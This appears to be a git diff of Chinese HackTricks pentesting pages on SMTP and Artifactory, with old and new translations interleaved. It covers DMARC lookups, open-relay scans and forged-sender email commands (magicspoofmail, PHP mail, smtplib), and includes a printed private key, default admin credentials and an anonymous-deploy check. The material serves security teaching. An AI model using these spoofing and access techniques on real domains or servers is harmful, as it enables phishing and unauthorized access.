DKIM 用于签署出站电子邮件,允许外部邮件传输代理(MTA)通过从 DNS 检索域的公钥来验证它们。这个公钥位于域的 TXT 记录中。要访问此密钥,必须知道选择器和域名。
|
||||
|
||||
然后,要请求密钥,您需要邮件头部的`DKIM-Signature`中的域名和选择器,例如:`d=gmail.com;s=20120113`
|
||||
例如,要请求密钥,域名和选择器是必不可少的。这些可以在邮件头 `DKIM-Signature` 中找到,例如,`d=gmail.com;s=20120113`。
|
||||
|
||||
获取此信息的命令可能如下所示:
|
||||
```bash
|
||||
dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
|
||||
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||||
# This command would return something like:
|
||||
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||||
```
|
||||
### DMARC
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
基于域的消息认证、报告与合规(DMARC)是一种邮件认证方法,它在SPF和DKIM的基础上进行了扩展。策略指导邮件服务器如何处理给定域的电子邮件,并报告执行的操作。
|
||||
DMARC通过构建在SPF和DKIM协议之上来增强电子邮件安全性。它概述了指导邮件服务器处理特定域中的电子邮件的策略,包括如何处理身份验证失败以及将报告发送到何处以报告电子邮件处理操作。
|
||||
|
||||
![](<../../.gitbook/assets/image (134).png>)
|
||||
**要获取DMARC记录,您需要查询子域\_dmarc**
|
||||
```bash
|
||||
# Reject
|
||||
dig _dmarc.facebook.com txt | grep DMARC
|
||||
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
|
||||
|
||||
**要获取DMARC记录,您需要查询子域 \_dmarc**
|
||||
```shell-session
|
||||
root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
|
||||
_dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
|
||||
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"
|
||||
# Quarantine
|
||||
dig _dmarc.google.com txt | grep DMARC
|
||||
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
|
||||
|
||||
root@kali:~# dig _dmarc.google.com txt | grep DMARC
|
||||
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"
|
||||
|
||||
root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
|
||||
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
|
||||
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"
|
||||
# None
|
||||
dig _dmarc.bing.com txt | grep DMARC
|
||||
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
|
||||
```
|
||||
#### DMARC 标签
|
||||
### DMARC标签
|
||||
|
||||
| 标签名称 | 目的 | 示例 |
|
||||
| 标签名称 | 目的 | 示例 |
|
||||
| -------- | --------------------------------------------- | ------------------------------- |
|
||||
| v | 协议版本 | v=DMARC1 |
|
||||
| pct | 受过滤的消息百分比 | pct=20 |
|
||||
| ruf | 法医报告的报告 URI | ruf=mailto:authfail@example.com |
|
||||
| rua | 聚合报告的报告 URI | rua=mailto:aggrep@example.com |
|
||||
| p | 组织域的策略 | p=quarantine |
|
||||
| sp | OD 子域的策略 | sp=reject |
|
||||
| adkim | DKIM 的对齐模式 | adkim=s |
|
||||
| aspf | SPF 的对齐模式 | aspf=r |
|
||||
| v | 协议版本 | v=DMARC1 |
|
||||
| pct | 经过过滤的消息百分比 | pct=20 |
|
||||
| ruf | 用于取证报告的报告URI | ruf=mailto:authfail@example.com |
|
||||
| rua | 聚合报告的报告URI | rua=mailto:aggrep@example.com |
|
||||
| p | 组织域的策略 | p=quarantine |
|
||||
| sp | 组织域的子域策略 | sp=reject |
|
||||
| adkim | DKIM的对齐模式 | adkim=s |
|
||||
| aspf | SPF的对齐模式 | aspf=r |
|
||||
|
||||
### **子域名怎么办?**
|
||||
### **子域名呢?**
|
||||
|
||||
**来自** [**这里**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**。**\
|
||||
您需要为每个您希望发送邮件的子域名设置单独的 SPF 记录。\
|
||||
以下内容最初发布在 openspf.org,这是一个关于此类信息的极佳资源。
|
||||
**从** [**这里**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**。**\
|
||||
您需要为希望发送邮件的每个子域名设置单独的SPF记录。\
|
||||
以下内容最初发布在openspf.org上,这曾经是这类信息的重要资源。
|
||||
|
||||
> 恶魔问题:子域名怎么办?
|
||||
> 魔鬼问题:子域名呢?
|
||||
>
|
||||
> 如果我收到来自 pielovers.demon.co.uk 的邮件,而 pielovers 没有 SPF 数据,我应该回退一级并测试 demon.co.uk 的 SPF 吗?不。Demon 的每个子域名是不同的客户,每个客户可能有自己的策略。让 Demon 的策略默认适用于所有客户是没有意义的;如果 Demon 想要这样做,它可以为每个子域名设置 SPF 记录。
|
||||
> 如果我从pielovers.demon.co.uk收到邮件,并且pielovers没有SPF数据,我应该返回一级并测试demon.co.uk的SPF吗?不。Demon的每个子域名都是不同的客户,每个客户可能有自己的策略。Demon的策略默认不适用于所有客户是没有意义的;如果Demon想要这样做,它可以为每个子域名设置SPF记录。
|
||||
>
|
||||
> 因此,给 SPF 发布者的建议是:您应该为每个具有 A 或 MX 记录的子域名或主机名添加 SPF 记录。
|
||||
> 因此,对于SPF发布者的建议是:您应该为具有A或MX记录的每个子域名或主机名添加一个SPF记录。
|
||||
>
|
||||
> 具有通配符 A 或 MX 记录的网站也应该有一个通配符 SPF 记录,格式为:\* IN TXT "v=spf1 -all"
|
||||
> 具有通配符A或MX记录的站点还应具有通配符SPF记录,格式为:\* IN TXT "v=spf1 -all"
|
||||
|
||||
这是有道理的 - 一个子域名很可能位于不同的地理位置,并且有一个非常不同的 SPF 定义。
|
||||
这是有道理的-子域名很可能位于不同的地理位置,并且具有非常不同的SPF定义。
|
||||
|
||||
### **开放中继**
|
||||
|
||||
为了防止发送的电子邮件被垃圾邮件过滤器过滤而无法到达收件人,发件人可以使用**收件人信任的中继服务器**。通常,管理员**没有概览**哪些**IP**范围他们必须**允许**。这导致 SMTP 服务器的配置错误,我们在外部和内部渗透测试中仍然经常发现这种情况。因此,他们**允许所有 IP 地址**以避免在电子邮件通信中出现错误,从而不扰乱或无意中中断与潜在和现有客户的沟通:
|
||||
```shell-session
|
||||
使用**收件人信任的中继服务器**可以是一种策略,确保发送的电子邮件不被标记为垃圾邮件并达到其预期目的地。然而,已经观察到管理员通常缺乏应该**允许**的**IP**范围的详细了解。这种知识上的差距可能导致SMTP服务器中的配置错误,这是在外部和内部渗透测试中常见的漏洞。为了规避这个问题并避免无意中干扰与潜在和现有客户的电子邮件通信,管理员可能选择**允许所有IP地址**。这种方法体现在SMTP服务器的配置中,其中`mynetworks`参数设置为允许来自任何IP地址的连接:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
|
||||
为了测试是否存在开放的邮件中继,可以利用诸如 `nmap` 的工具。该工具用于扫描目标服务器,以确定其是否作为开放中继运行,这可以通过开放中继脚本 `smtp-open-relay` 来指示。以下命令演示了如何使用 `nmap` 扫描具有 IP 地址 10.10.10.10 的服务器上的端口 25,并提供详细输出:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
@ -385,15 +390,15 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
|||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **检查 SPF 和 DMARC 配置错误**
|
||||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **自动获取 SPF 和 DMARC 配置**
|
||||
|
||||
### 发送伪造电子邮件
|
||||
### 发送欺骗邮件
|
||||
|
||||
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
|
||||
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
||||
* [**https://emkei.cz/**](https://emkei.cz/)****
|
||||
* [**https://emkei.cz/**](https://emkei.cz/)\*\*\*\*
|
||||
|
||||
**或者您可以使用工具:**
|
||||
|
||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)****
|
||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)\*\*\*\*
|
||||
```bash
|
||||
# This will send a test email from test@victim.com to destination@gmail.com
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||
|
@ -401,8 +406,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
|||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
如果在使用 dkim python 库解析密钥时遇到任何**错误**,可以随意使用以下这个方法。\
|
||||
**注意**:这只是一个快速检查的临时解决办法,用在某些原因导致 openssl 私钥**无法被 dkim 解析**的情况。
|
||||
如果在使用 dkim python lib 解析密钥时出现任何错误,请随时使用以下密钥。\
|
||||
**注意**:这只是一个快速修复方法,在某些情况下,由于某种原因,openssl 私钥**无法被 dkim 解析**,可以用此方法进行快速检查。
|
||||
```
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
||||
|
@ -422,12 +427,12 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
**或者你可以手动进行:**
|
||||
**或者您可以手动操作:**
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="PHP" %}
|
||||
<pre class="language-php"><code class="lang-php"><strong># 这将发送一个未签名的消息
|
||||
</strong><strong>mail("your_email@gmail.com", "测试主题!", "嘿!这是一个测试", "来自:administrator@victim.com");
|
||||
<pre class="language-php"><code class="lang-php"><strong># 这将发送一条未签名的消息
|
||||
</strong><strong>mail("your_email@gmail.com", "测试主题!", "嘿!这是一个测试", "From: administrator@victim.com");
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
|
||||
|
@ -487,39 +492,40 @@ smtp="127.0.0.1"
|
|||
s = smtplib.SMTP(smtp)
|
||||
s.sendmail(sender, [destination], msg_data)
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
### 更多信息
|
||||
|
||||
### **更多信息**
|
||||
**在** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **找到关于这些保护措施的更多信息**
|
||||
|
||||
**在此找到更多关于这些保护措施的信息** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||
### 其他钓鱼指标
|
||||
|
||||
### **其他钓鱼指标**
|
||||
|
||||
* 域名的年龄
|
||||
* 域名年龄
|
||||
* 指向IP地址的链接
|
||||
* 链接操纵技术
|
||||
* 可疑(不常见)附件
|
||||
* 破损的电子邮件内容
|
||||
* 使用的值与邮件头部的值不同
|
||||
* 邮件内容损坏
|
||||
* 使用与邮件头部不同的值
|
||||
* 存在有效且受信任的SSL证书
|
||||
* 将页面提交到网页内容过滤站点
|
||||
* 将页面提交给网页内容过滤站点
|
||||
|
||||
## 通过SMTP泄露数据
|
||||
## 通过SMTP进行数据泄露
|
||||
|
||||
**如果您可以通过SMTP发送数据** [**阅读此内容**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**。**
|
||||
**如果可以通过SMTP发送数据** [**阅读此内容**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**。**
|
||||
|
||||
## 配置文件
|
||||
|
||||
### Postfix
|
||||
|
||||
通常,如果安装了,在`/etc/postfix/master.cf`中包含**执行脚本**,例如当用户接收到新邮件时。例如,行`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`意味着如果用户mark接收到新邮件,`/etc/postfix/filtering`将会被执行。
|
||||
通常,如果安装了Postfix,在`/etc/postfix/master.cf`中包含**在用户收到新邮件时执行的脚本**。例如,`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` 这一行意味着如果用户mark收到新邮件,将执行`/etc/postfix/filtering`。
|
||||
|
||||
其他配置文件:
|
||||
```
|
||||
sendmail.cf
|
||||
submit.cf
|
||||
```
|
||||
## 参考资料
|
||||
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/)
|
||||
|
||||
## HackTricks 自动命令
|
||||
```
|
||||
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
|
||||
|
@ -571,23 +577,21 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
|
||||
|
||||
```
|
||||
```markdown
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即刻可用的漏洞评估与渗透测试设置**。使用20多个工具和功能从侦察到报告执行完整的渗透测试。我们不替代渗透测试人员 - 我们开发定制工具、检测和利用模块,以便让他们有更多时间深入挖掘、弹出shell,并享受乐趣。
|
||||
**立即提供的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用20多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄级人物,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,82 +1,82 @@
|
|||
# SMTP - 命令
|
||||
# SMTP - Commands
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,拥有从侦察到报告的 20 多种工具和功能。我们不替代渗透测试人员 - 我们开发定制工具、检测和利用模块,以便他们有更多时间深入挖掘、弹出 shell,并享受乐趣。
|
||||
**立即提供的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,具有从侦察到报告的20多种工具和功能。我们不取代渗透测试人员-我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出shell并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
**摘自:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
**命令来源:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
|
||||
**HELO**\
|
||||
这是第一个 SMTP 命令:它开始对话,标识发送服务器,并通常后跟其域名。
|
||||
这是第一个SMTP命令:它开始了标识发件服务器的对话,并通常跟随其域名。
|
||||
|
||||
**EHLO**\
|
||||
开始对话的另一种命令,表明服务器正在使用扩展的 SMTP 协议。
|
||||
启动对话的另一种命令,表明服务器正在使用扩展的SMTP协议。
|
||||
|
||||
**MAIL FROM**\
|
||||
通过这个 SMTP 命令,操作开始:发送者在“From”字段中声明源电子邮件地址,并实际开始电子邮件传输。
|
||||
使用此SMTP命令开始操作:发件人在“From”字段中声明源电子邮件地址,并实际开始电子邮件传输。
|
||||
|
||||
**RCPT TO**\
|
||||
它标识电子邮件的接收者;如果有多个,只需逐个重复命令即可。
|
||||
它标识电子邮件的收件人;如果有多个收件人,命令将逐个重复地址。
|
||||
|
||||
**SIZE**\
|
||||
此 SMTP 命令通知远程服务器附加电子邮件的估计大小(以字节为单位)。它也可以用来报告服务器接受的消息的最大大小。
|
||||
此SMTP命令通知远程服务器附加电子邮件的预估大小(以字节为单位)。它还可用于报告服务器接受的消息的最大大小。
|
||||
|
||||
**DATA**\
|
||||
使用 DATA 命令开始传输电子邮件内容;通常之后服务器会给出 354 回复代码,允许开始实际传输。
|
||||
使用DATA命令开始传输电子邮件内容;通常会得到服务器给出的354回复代码,允许开始实际传输。
|
||||
|
||||
**VRFY**\
|
||||
服务器被要求验证特定电子邮件地址或用户名是否确实存在。
|
||||
要求服务器验证特定电子邮件地址或用户名是否实际存在。
|
||||
|
||||
**TURN**\
|
||||
此命令用于在客户端和服务器之间反转角色,无需运行新连接。
|
||||
此命令用于在客户端和服务器之间颠倒角色,无需运行新连接。
|
||||
|
||||
**AUTH**\
|
||||
通过 AUTH 命令,客户端向服务器进行身份验证,提供其用户名和密码。这是另一层安全保障,以保证适当的传输。
|
||||
使用AUTH命令,客户端向服务器进行身份验证,提供其用户名和密码。这是另一层安全性,以确保正确的传输。
|
||||
|
||||
**RSET**\
|
||||
它通知服务器正在进行的电子邮件传输将被终止,尽管 SMTP 对话不会被关闭(如 QUIT 命令的情况)。
|
||||
它通知服务器正在进行的电子邮件传输将被终止,尽管SMTP对话不会被关闭(与QUIT的情况不同)。
|
||||
|
||||
**EXPN**\
|
||||
此 SMTP 命令请求确认邮件列表的标识。
|
||||
此SMTP命令请求确认邮件列表的标识。
|
||||
|
||||
**HELP**\
|
||||
这是客户端请求一些有助于成功传输电子邮件的信息。
|
||||
这是客户端请求有助于成功传输电子邮件的一些信息。
|
||||
|
||||
**QUIT**\
|
||||
它终止 SMTP 对话。
|
||||
终止SMTP对话。
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,拥有从侦察到报告的 20 多种工具和功能。我们不替代渗透测试人员 - 我们开发定制工具、检测和利用模块,以便他们有更多时间深入挖掘、弹出 shell,并享受乐趣。
|
||||
**立即提供的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,具有从侦察到报告的20多种工具和功能。我们不取代渗透测试人员-我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出shell并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,228 +1,29 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>零基础学习AWS黑客攻击成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**此内容摘自** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
|
||||
|
||||
# Artifactory基础知识 <a href="#artifactory-basics" id="artifactory-basics"></a>
|
||||
|
||||
## 默认用户和密码 <a href="#default-users-and-passwords" id="default-users-and-passwords"></a>
|
||||
|
||||
Artifactory的默认账户有:
|
||||
|
||||
| 账户 | 默认密码 | 备注 |
|
||||
| ------------ | --------------------------------------------- | --------------------------------------------------------------------- |
|
||||
| admin | password | 常见的管理账户 |
|
||||
| access-admin | password (<6.8.0) 或 随机值 (>= 6.8.0) | 仅用于本地管理操作 |
|
||||
| anonymous | ’’ | 匿名用户远程检索包,不默认启用 |
|
||||
|
||||
默认情况下,没有密码锁定策略,这使得Artifactory成为凭证填充和密码喷涂攻击的首要目标。
|
||||
|
||||
## 授权 <a href="#authorizations" id="authorizations"></a>
|
||||
|
||||
理想情况下,当您连接到Artifactory时,应该看到这样的界面:
|
||||
|
||||
![登录页面](https://www.errno.fr/artifactory/artif\_login.png)
|
||||
|
||||
另一方面,如果您看到的是类似这样的界面:
|
||||
|
||||
![默认页面](https://www.errno.fr/artifactory/artif\_default.png)
|
||||
|
||||
这意味着在管理面板中启用了“匿名访问”,这是一个常见的设置,用于让应用程序无障碍地检索工件,但让您,攻击者,看到的内容比预期的要多。
|
||||
|
||||
## 检查账户权限 <a href="#checking-account-rights" id="checking-account-rights"></a>
|
||||
|
||||
有时,由于配置错误,匿名用户被允许向某些仓库部署文件!
|
||||
|
||||
要检查匿名用户可以部署到哪些仓库,请使用以下请求:
|
||||
```
|
||||
curl http://localhost:8081/artifactory/ui/repodata?deploy=true
|
||||
{"repoList":["artifactory-build-info","example-repo-local"]}
|
||||
```
|
||||
如果请求中有任何`repoKey`条目,匿名用户可以部署这些条目,这是非常非常糟糕的。你绝对应该经过认证才能部署任何文件。
|
||||
|
||||
